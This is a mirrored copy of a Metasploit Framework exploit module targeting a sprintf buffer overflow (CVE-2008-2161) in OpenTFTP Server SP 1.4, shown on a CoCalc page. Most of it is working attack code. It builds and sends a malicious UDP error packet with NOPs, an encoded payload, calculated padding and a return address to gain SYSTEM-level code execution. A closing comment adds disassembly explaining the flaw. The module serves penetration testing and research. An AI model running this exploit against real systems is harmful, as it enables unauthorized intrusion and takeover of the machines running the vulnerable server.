Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/tftp/opentftp_error_code.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable
18
condition triggers when the TFTP opcode is configured as an error packet, the TFTP
19
service will then format the message using a sprintf() function, which causes an
20
overflow, therefore allowing remote code execution under the context of SYSTEM.
21
22
The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',
23
or 'Service'). By default the target is set to 'Service' because that's the default
24
configuration during OpenTFTP Server SP 1.4's installation.
25
},
26
'Author' => [
27
'tixxDZ', # Initial discovery, poc
28
'steponequit' # Metasploit module
29
],
30
'References' => [
31
['CVE', '2008-2161'],
32
['OSVDB', '44904'],
33
['BID', '29111'],
34
['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']
35
],
36
'DefaultOptions' => {
37
'EXITFUNC' => 'process',
38
},
39
'Payload' => {
40
'Space' => 5000,
41
'BadChars' => "\x00\x0a\x0d",
42
'StackAdjustment' => -3500,
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
# .bss section that is overwritten
47
[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],
48
[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]
49
50
],
51
# TFTP server is installed as an NT service by default
52
'DefaultTarget' => 0,
53
'Privileged' => false,
54
'DisclosureDate' => '2008-07-05',
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
Opt::RPORT(69),
66
]
67
)
68
end
69
70
def exploit
71
if target.name =~ /OpenTFTP 1.4 Stand Alone/
72
# This hits msvcrt.printf()
73
sploit = "\x00\x05" + make_nops(10)
74
sploit << payload.encoded
75
sploit << rand_text_alpha(20517 - payload.encoded.length)
76
sploit << [target['Ret']].pack('V')
77
sploit << Rex::Text.rand_text_alpha(1469)
78
79
elsif target.name =~ /OpenTFTP 1.4 Service/
80
# This hits time()
81
sploit = "\x00\x05" + make_nops(10)
82
sploit << payload.encoded
83
sploit << rand_text_alpha(20445 - payload.encoded.length)
84
sploit << [target['Ret']].pack('V')
85
sploit << Rex::Text.rand_text_alpha(1545)
86
end
87
88
# Send the malicious packet
89
connect_udp
90
udp_sock.put(sploit)
91
handler
92
disconnect_udp
93
end
94
end
95
96
=begin
97
NOTE: If the module is run on a OSX box, you will probably see this error:
98
[-] Exploit exception: Message too long
99
That's OSX for you.
100
101
The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:
102
.text:004022F6 mov eax, ds:dword_41B370
103
.text:004022FB movzx eax, word ptr [eax]
104
.text:004022FE mov [esp+5C8h+var_5C8], eax
105
.text:00402301 mov [ebp+var_550], 0FFFFFFFFh
106
.text:0040230B call ntohs
107
.text:00402310 sub esp, 4
108
.text:00402313 cmp ax, 5
109
.text:00402317 jnz short loc_40236F
110
...
111
112
When the value matches 0x05, we then head down to a sprinf() function to generate an error
113
message, which causes an overflow:
114
.text:00402330 mov eax, ds:dword_41B370
115
.text:00402335 add eax, 4
116
.text:00402338 mov [esp+5C8h+var_5BC], eax
117
.text:0040233C mov [esp+5C8h+var_5C0], edx
118
.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"
119
.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394
120
.text:0040234F call sprintf
121
122
And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining
123
control.
124
125
In source:
126
http://pastebin.com/QgZDwcan
127
128
else if (ntohs(datain->opcode) == 5) // Line 224
129
{
130
sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
131
logMess(req1, 1);
132
..... so on .....
133
134
You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't
135
give you a better crash than this one.
136
=end
137
138